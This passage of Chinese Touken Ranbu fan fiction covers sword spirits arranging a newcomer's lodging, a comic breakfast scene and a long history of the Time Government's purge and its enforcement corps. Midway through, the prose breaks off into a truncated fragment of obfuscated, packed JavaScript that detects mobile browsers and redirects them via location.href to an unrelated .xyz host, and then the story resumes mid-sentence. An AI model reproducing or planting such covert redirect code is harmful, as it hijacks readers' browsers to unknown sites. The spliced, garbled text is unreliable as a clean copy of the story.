说到明石国行,来派也是没法考虑——虽然是大太刀但是小孩子样貌的萤丸和小短刀爱染国俊甚至要反过来照顾他们的监护人,一千个明石国行里一千零一个都是懒蛋,不能再虐待儿童了。 哪怕现在时政职能扩展,在面向一些付丧神开放选拔性考试和工作,俗称公务员考试,万屋已经经常会有付丧神执法队出没,但是也几乎没见过明石国行这振刀的身影。 铁饭碗什么的,对付丧神没什么诱惑力啊。 桃濑灯里接着看向了压切长谷部。 他是一个刃住的,忠诚、可靠都是他的代名词,看起来简直再合适不过。 如果能确保祝染不会突然挑衅他被他压切了的话。 因为不想让压切长谷部因此沦为杀刃犯,也不要这样做了。 看来看去,桃濑灯里的目光最后无可避免地落在了鹤丸国永的身上。 俗话说,当你凝视深渊的时候,深渊也在凝视你。 而当桃濑灯里望向鹤丸国永的时候,最开始被她无情镇压的金眸青年也正在可怜巴巴地看着她,眼睛像会说话一样,波光粼粼地充满了期待,翘起的发尾像小狗耷拉的耳朵一样。 鹤丸国永是平安时期五条派的太刀,和祝染年龄还真称得上相仿兴趣相投,而且也刚好在独居当中,虽然把两个刃凑一起本丸肯定会被这一对魔丸搅得天翻地覆,但总归不能把本丸拆了。 其实桃濑灯里挺想把目光移开去看歌仙兼定之类的,但是最后还是没能逃脱出那对金色的湖泊。 “好吧,就你了鹤丸。”她无可奈何地败下阵来,叹了一口气。 没关系的,反正歌仙也很怕生。桃濑灯里安慰自己道。 “耶!”鹤丸国永高兴地高高举起双手,示意自己成为了MVP。 “耶——!”祝染也高兴地举起双手为他庆祝,两个雪白雪白的家伙像一对小熊猫一样面对面欢呼雀跃。 “姬君放心,作为本丸教育番长鹤会好好教育染酱的。”鹤丸国永信誓旦旦。 桃濑灯里先是下意识点头表示支持,然后又微微愣了一下反应道:“你什么时候当的教育番长?” 不知道啊,没刃通知她啊。 “因为巴形薙刀出去极化了,教育番长的徽章就被鹤丸暂时保管了。”压切长谷部很尽职尽责地开始回忆,然后补充道:“主君放心,这三天鹤丸没上过课,巴形薙刀明天也回来了。” 听到没有刃遭到鹤丸的迫害然后剑走偏锋走向邪路,桃濑灯里大大放心。 “鹤丸国永,你因为玩忽职守被撤职了。”但她还是把鹤丸的教育番长收了回来,用一个光明正大的理由。 “耶。”虽然失去了职务但是得到了室友的鹤丸国永继续保持乐观。 决定完祝染和谁住之后,后续要讨论的内容就简单轻松了很多,都是一些细节性的问题,比如祝染暂时穿谁的内番服,后续几天是优先出阵还是其他工作。 最后经过一番研讨,桃濑灯里同志作出了重要指示,让本丸身高和祝染差不多的付丧神们先各匀一套内番服供暂时穿着,生活用品就让祝染自己去万屋采买,预算找博多藤四郎批准,工作则优先手合和出阵,近侍工作暂时不安排,毕竟祝染还不一定会留下,内番的工作一天两天也教不会。 大家一起解决完所有问题之后,时间已经从黄昏来到了深夜,雨后的本丸天空澄澈没有任何阴霾,一轮皎洁的弦月悬挂在空中,院外传来窸窸窣窣的虫鸣。 桃濑灯里潇洒散会后拖着疲惫的身躯在近侍烛台切光忠的陪伴下回天守阁,众刃也结伴有说有笑地从走廊往部屋走去,经过一晚上的研讨,大家和祝染熟悉后关系都亲近了不少,路过他和鹤丸的时候,除了小短刀们之外,结伴而行的加州清光和大和守安定也自然地跟他们互道晚安。 9. 七舅姥爷这里有公务员 第二天的早上,祝染和鹤丸一刃头顶着一个包精神萎靡地出现在食堂,并且一看到在食堂监督弟弟们饭前洗手的今日近侍一期一振就开始抱团瑟瑟发抖,把头埋下去试图缩减自己的存在感。 但是现在又不是冬天室外,两个雪白雪白的球怎么看都很显眼。 只要有眼睛,都能很轻而易举地就发现他俩的行为不正常,哪怕是闭着眼睛的数珠丸恒次也可以,只不过这位清冷佛子并不在乎。 但是数珠丸恒次不在乎,有的是其他刃好奇。 刚好进门的加州清光作为战地记者仗义地撸起袖子代表大家凑过去一探究竟,音量正常让在场所有人都能听到:“阿啦,染酱和鹤丸,你们怎么头上长包了,需要刃道主义帮助吗?” “哈哈哈….鹤夜盲撞墙上了。”鹤丸国永少见地露出勉强的笑容,看起来是给自己找了个听起来有几分道理的理由,毕竟是太刀,夜战侦查低一点也很正常。 “哈哈哈….不小心撞门上了。”不是一家刃不进一家门,他新鲜出炉的室友祝染也不约而同选择了尴尬的假笑掩饰。 “哈哈哈,那还真是不容易啊。”听这行云流水般舒畅的和蔼的笑声,感情饱满真挚,衔接自然流畅,这就是本尊和赝品的差距——三日月宗近笑眯眯地附和了两人没什么技术含量的糊弄。 “鹤丸殿,祝染殿,真的没问题吗?”一直在忙着安置弟弟的一期一振终于忙完了所有事情走了过来,他忧心忡忡地伸手递出了手中的跌打药:“这是药研托我交给你们的,味道可能有些大,最好饭后涂。” “下次晚上要慢慢跑啊。”一期一振微不可察地叹了一口气。 习惯了照顾弟弟们的粟田口大家长面对这两个大号的熊孩子也下意识地体贴照顾。 祝染和鹤丸飞快地伸手掠过,把装药的玻璃瓶藏进了袖子里,继续死死低着脑袋,但不忘小幅度地胡乱点头表示收到。 一个是因为破相了不想露脸,一个是因为太丢人了不想面对嘲笑。 毕竟现在可是早餐时间,本丸的大家几乎都会齐聚在食堂,而其中被鹤丸国永恶作剧过的刃数不胜数,如果逮到能反击的机会他们绝对不会放过这个鹤丸。 “一期殿,请问这究竟是怎么回事呢?”眼看一期一振显然知情甚至可能是当事人,本台记者加州清光把两只手握拳上下交叠做出拿话筒的样子,凑到了一期一振嘴边。 “没什么,只是一些小意外而已。”一期一振看了一眼两个萎靡的雪球,选择体面地帮他们保留尊严,笑容温和地回避了问题。 “欸——说嘛说嘛……一期哥人家想听故事啦……”不知道什么时候来到食堂的桃濑灯里自然也看到两个混世小比今天反常的状态,也顺理成章地加入了战场。 她其实平时很喜欢对着付丧神们露出自己小女孩的本性,只是昨天发生的事情太突然,她必须要挑起大梁,所以才表现出了作为审神者严肃果敢的一面。 现在事情都处理地差不多了,自然是本性毕露。 “主殿……”一期一振面露无奈之色,言辞间还是有些犹豫。 但是一期一振是善良体面的大人,他的弟弟们可不是,小短刀们一看审神者对这件事情感兴趣就蹦蹦跳跳争先恐后全都挤了上来,七嘴八舌开起了故事分享会,但是因为全都一起说话所以很难听清楚。 “祝染殿……折纸……”隐隐约约有五虎退细细的嗓音被淹没在声浪中。 “祭奠!…….小判!”连乱藤四郎的声音都若隐若现只能听到一点。 “一期哥!追….墙!然后…..门!”包丁藤四郎的部分更是只能听清楚一期一振的名字。 桃濑灯里混乱地听着他们的讲述,说实话只能听清楚破碎的关键词,最后还是努力地听因为是胁差长得比较高、声音也比较清晰的鲶尾藤四郎的话,听明白了事情的来龙去脉。 昨天晚上食堂散会之后,祝染和鹤丸受小短刀们邀去粟田口的部屋做客和他们一起折纸玩。 博多想试试用纸折小判,结果祝染用纸折了很多用来祭奠逝者的金元宝,还教大家一起叠—— 回到部屋的一期一振就面对着弟弟们和一屋子的丧葬用品,大惊失色之下下意识提刀去追教坏弟弟们的混蛋,而鹤丸和祝染在逃跑的时候,鹤丸因为夜间视力不好出门撞到了墙,祝染因为跑太快、不知道鹤丸撞到了墙,以为对方会开门,结果撞到了门。 这两个刃说的居然是真话。 难得看鹤丸吃瘪的加州清光已经捧腹大笑笑倒在大和守安定身上,大和守安定也在忍俊不禁憋笑。 食堂一些性格比较爽朗的付丧神已经直接笑开了,祝染和鹤丸两个无地自容地要往山姥切国广的被单底下钻,引来了对方一阵激烈却徒劳的挣扎。 其实一期一振只是对弟弟们相关的问题有些敏感,反应虽然很大,但并没有真的生气。 昨晚他眼睁睁看着两刃一个撞墙一个撞门顶着头上两个大包落荒而逃,伸出去挽留的手和话语欲说还休。 最后还是靠谱的药研藤四郎拿出了跌倒药提议让兄长明天带过去再跟他们好好说一下。 山姥切国广一般吃饭的时候要么被桃濑灯里拉着一起坐,要么和兄弟山伏国广或者堀川国广外带一个和泉守兼定坐在一起,但是今天,他被钻在他被单底下的鹤丸国永和祝染胁迫了。 满堂欢笑声中,两个劫匪用手比出手枪的姿势抵住他的背,猫着腰躲在他被单下面,随着山姥切国广一起移动就座,一左一右把他夹在中间。 “低高低”的阵型从背面看起来就像起伏的富士山一样,加上白被单就是积雪的富士山。 山姥切国广更加心累,但是因为自闭又说不出什么抱怨的话。 饭前,近侍一期一振先宣布了一下今天付丧神们的工作安排—— 由博多藤四郎带队,短刀们继续去大阪城捞小判。 鹤丸在烛台切光忠的监督之下补上昨天的马当番。 昨天的公文小分队加一个山姥切国广继续帮桃濑灯里赶工作进度,经过一天的努力,比起昨天生死一线的危机感,现在工作量已经大大减轻了,桃濑灯里都有时间来食堂吃早饭了。 而祝染今天要做的事情,就是在压切长谷部的陪伴之下去万屋买自己的生活用品。 听到自己被踢出了公文小分队的压切长谷部猛然抬头,眼神中充满不可置信与委屈地看向桃濑灯里,紫色的眼睛里感情充沛很容易就能读懂,棕色的头发柔顺蓬松看起来像是被抛弃了的大型犬一样可怜巴巴。 桃濑灯里看在眼里,却只微微一笑,对于哄压切长谷部,她简直得心应手,她双手合十零帧起手: “长谷部,拜托你,这份工作真的只有你才能完成了,如果没有你的话我都不知道该怎么办。” 首先,要严正强调这不是流放而是更加重要的工作安排,是主人对他压切长谷部的信任和认可。 “祝染他第一次去万屋必须要有人看着,万一他乱买东西还跑丢了我们本丸就刃财两空了。”桃濑灯里也开始用可怜的眼神回望长谷部。 其次,要告诉长谷部他需要完成的工作,这是主人的嘱托。 完全无法拒绝主人的请求的压切长谷部已经开始动摇。 确实,他有责任保护本丸的财产安全。 “而且他还需要办成审神者去,你知道的,时政规定付丧神单独去万屋必须要登记,但是有审神者在的话就不需要了。” 最后,桃濑灯里晓之以理,她心里很清楚相对于压切长谷部的不情不愿,真正的难题在于别处: “他现在还是一个黑户,这件事情知道的人越少越好,不然执法队那边不好交代。” 桃濑灯里的担心非常有必要。 祝染的身份还没有真正在明面上公开之前,知道的人越多风险就越大,如果单独让他以“审神者”的身份去万屋,他表现出一点异样都会引来执法队的怀疑,所以乔装打扮和陪伴都是必不可少的。 看起来是闹剧,背后却牵扯到沉重的现实与规矩。 祝染现在在时政过了名在接受调查,时政默许他暂时留下不假,但不代表执法队也会接受本丸私自收留付丧神。 毕竟时之政府和执法队其实是完全不从属的关系。 众所周知,就像只有具有日本国籍的人才能竞选首相一样,时政最开始也是完全由人类主导建立的政府机关,也只有人类才能加入其中。 时政建立的目的是以保护历史为责任,与时间溯行军战斗,维护历史的稳定性。 然而时间溯行军何其残暴强大,和它们的战斗又何其危险,完全是以命相博,人类只有一条命,是无法承担这样沉重的代价的。 所以是时政求到了付丧神们签订契约。 最早的时政管理者们建立起相对完善的运行机制,与刀剑的付丧神们签订契约,将付丧神们的力量切割为分灵分散到审神者们的本丸,靠审神者的灵力来反哺本体。 纵观日本历史滚滚石流,刀剑作为杀伐的兵器被接连不断地锻造,或折戟沉沙或籍籍无名的刀剑如过江之鲫,但能成为付丧神的却数量寥寥无几,足见被召唤的条件相当苛刻。 分灵付丧神们靠的是靠审神者们的灵力维持人形不假,但是真正让他们的本灵显现、塑造他们性格和气质的,却是历史的打磨和轶闻,他们曾经都是历史的一部分,在人类的手中辅佐他们创造着历史。 它们受惠于历史和主人,所以现在才愿意为守护历史贡献出自己的力量。 也就是说,最开始的审神者们和付丧神,真的是因为共同的信仰而走到一起的、并肩作战的关系,就像小组合作一样,只是有指挥者和执行者的区别。 甚至付丧神们要更占主导,毕竟它们实打实地付出了战斗。 但是人类就是这样奇怪的生物,他们明明身体上脆弱不堪,但是却能够凭借大脑创造出无比绚烂的文明,能否制作工具是人和动物的区别,但使用工具并操控工具却是人类的本能。 他们逐渐掌握了与付丧神之间关系之间的主动权,成为了付丧神们的主人。 随着时间的流逝,时政的工作看似走上了正轨,日益壮大。 但是哪怕是正午的阳光之下也必定会有阴影,时之政府在人类的傲慢和贪婪之下迅速腐化了——他们对外把迫害的手伸向了付丧神们,对内也迅速排除着异己。 加上因为有灵力和天赋的、可以成为审神者的存在非常稀有,时政对他们也是非常重视,甚至到了纵容的程度,出现了很多“渣审”: 他们理所当然地把刀剑付丧神们视为自己的所有物,贪图它们的容貌、或者利用它们即使受伤能够被修好的特性满足自己内心阴暗的欲望,把本该用于战场上的它们肆意玩弄用来取乐,然后凭借审神者的稀少身份和人类同类之间的惺惺相惜,被时之政府的庇护着轻拿轻放,继续恶性循环。 无数的付丧神因为遭到了迫害而碎刀,一些选择了反抗的付丧神也因为违背了契约而暗堕。 好在不管是碎刀力量流失,还是暗堕力量被污染,在本灵们身上都会有所反应,本灵们及时察觉到了到它们心绪中隐秘的阵痛与挣扎。 最开始它们还维持着礼貌的态度,基于信任和时政进行沟通,希望时政能够早日解决问题。 但是早就已经尝到了统治的甜头的、当时的时政就像是一滩烂泥沼,只会用卑劣的手段来粉饰太平罢了。 完全有恃无恐,反正付丧神们已经跟他们签订了契约力量大大削弱,又能把他们怎么样。 傲慢是无知、偏见、狭隘、自大和自卑的结合。 而他们完全小看了刀剑付丧神,所以也想不到这些刀剑们会拼着接受神罚灰飞烟灭的风险也要背水一战。 刀剑是冰冷、锋利而正直的,与人类完全不同的存在。 它们生于烈火的淬炼灼烧,又怎么会怕在灼烧中再次回归虚无。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411474|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个微风和煦的午后,一直不问世事的本灵付丧神们穿着人类审神者们再熟悉不过的华美出阵服,就像是奔赴一场盛大的宴会一样,提着自己的本体以雷霆之势杀进时政本部开始了清洗,那一天时政血流成河,哀鸿遍地,是比时间战场还要恐怖的炼狱—— 如果人类没办法解决问题,那就用刀剑的方式来解决。 直到第二天太阳升起照在时政金碧辉煌的屋檐上,屠戮后幸存的人类们才感觉到身上升起了僵硬的暖意。 付丧神们留下了一些时政中还没有跟渣滓同流合污的、苦苦挣扎的人,在经过漫长的商谈过后,新的时之政府建立了。 现在,时政虽然还是以人类为主导,却制定了很多内部的苛刻制度和全新的规范秩序,与其说政府是掌控者,不如说政府是负罪前行的赎罪者。 虽然依旧只有人类审神者才能进入到时政当中工作,但是在招募审神者的时候也出现了更多其他物种的身影,人类占据主流,但妖怪精灵也不在少数。 现在的时政,会让从历史中招募的审神者们签订有限的合同,到期之后换约,从短期到长期逐渐递升,直到永久任职的终身合同。 而基于人类审神者们排除异己的前科,人类审神者们的合同期也是最短的,续约条件也是最苛刻的。 这就是新旧政府交替的故事,这段历史被刻在了时政办公楼广场中央的石碑上,是每一位审神者来到时政登记的时候都必须要学习的。 桃濑灯里自然也不例外,甚至当时带她去办理入职的是她的七舅姥爷,作为清洗的亲历者,七舅姥爷凝望石碑的眼神是她无法理解的复杂与沉重。 经过清洗之后的时政称得上焕然一新,但是渣审却没有像政府一样被一网打尽,大部分的被制裁,但也有一些听到风声逃回了现世,甚至有一些投靠了溯行军。 而他们的空缺需要被补上,被他们所抛弃的本丸的付丧神们需要安置。 在这当中,只有很少部分的本丸因为遭到的迫害还不深,选择了重新分配,政府会严格地把关为他们挑选适合的审神者。 也有一些直接心灰意冷选择了自行刀解回归本体。 剩下的绝大多数不愿意再相信人类、但也不打算回归的付丧神们,组成了最早的执法队。 这是本灵付丧神们与新政府协商,继续和新政府合作的条件之一。 建立付丧神执法队,介入对审神者的任职情况进行监督和评估,甚至会进行不定期的抽查与测试,如果审神者不合格会面临本丸降级甚至提前解约。 执法队和像山姥切长义、水心子正秀之类的政府刀们是完全不同的体系,是完全由无主付丧神们组成的自卫与监督组织。 而政府刀制度是新旧政府都延续实行的。 旧的时之政府时期,就会吸收一些能力出色的付丧神作为政府刀进入政府当中工作,但只是把它们当作是更好用的工具。 而政府刀们在腐烂的掌权者的操纵之下,只能被逼着对同类们的痛苦视而不见,甚至挥刀向对,它们的内心也承受着巨大的压力与煎熬。 所以在面对本灵们的清洗行动时,它们默契地选择了视而不见甚至默认放行。 新的时之政府放宽了政府刀的招募范围,增加了更多的岗位,不再只限定原有的几振固定的付丧神,而是所有的付丧神只要有意向、审神者也同意,就可以进入政府任职,作为公务员享受时政的津贴。 虽然现在的制度之下,时政的政府刀们不参与管理性事务,而只负责实际的执行,就像是西方文官制度一样。 但有一个岗位例外,就是政府刀们能够坐到的最高的岗位,像山姥切长义、南泉一文字这样能够主导一个特命调查的监察官。 除了偶尔带队前往历史节点稀少的特命调查之外,他们还有别的职能—— 监察官们会对时政的审神者们乃至时政内部的管理官们进行监察,然后交给执法队进行检查调查。 如果有严重问题的话,会直接上报给本灵们组成的议庭进行处理。 本灵们虽然现在都很养老,但是它们绝不会再次容忍人类的冒犯与恶意。 这是完全把人类排除在外的、针对政府的新监察体系。 所以说,如果想给政府找不痛快,最便捷的方式就是加入执法队。 但如果想把政府完全洗刷一遍,还是要成为监察官。 综上所述,在现在的新政府时期,执法队就像是校园里的学生组织里掌握着查寝大权的学姐一样权威,没有审神者会想去触它们的霉头。 它们负责从审神者手中保卫付丧神们的刃权,也同时也不会只偏袒一方,同时也会对付丧神们的行为进行监督,毕竟监督也是一种保护。 而自己前往万屋的付丧神,就需要被执法队进行登记——为了防止出现付丧神走失流浪,或者走投无路选择逃离却没能被及时处理的情况。 只有跟审神者在一起的付丧神才不需要登记。 祝染作为时政调查当中,但是执法队还不知道的付丧神,怎么看都很危险,为了不让他引起注意,他需要假扮成一名审神者,在近侍的陪同之下前往。 而为了能够更好的混淆执法队的视线,让祝染扮演女性审神者会更加安全。 毕竟,没有女审神者会是刀剑男士。 明明只作为大学生和审神者的本职工作就很忙了,还要对时政复杂敏感的制度和派系有所洞察和规避,桃濑灯里觉得自己真是心衰力竭,她疲惫地揉了揉太阳穴,抬眼去看食堂现状: 现在压切长谷部被完全说服了,沉浸在主人对他的肯定的喜悦当中,恍惚之下他甚至开始樱吹雪。 淡粉色的樱花花瓣洋洋洒洒从他的头顶飘下,负责打扫食堂的歌仙兼定带着怨念的凝视也如影随形。 而祝染似乎还沉浸在羞耻的情绪中,还在把脸埋低沉默地扒着饭,完全没意识到自己成为了桃濑灯里现在的重点保护对象。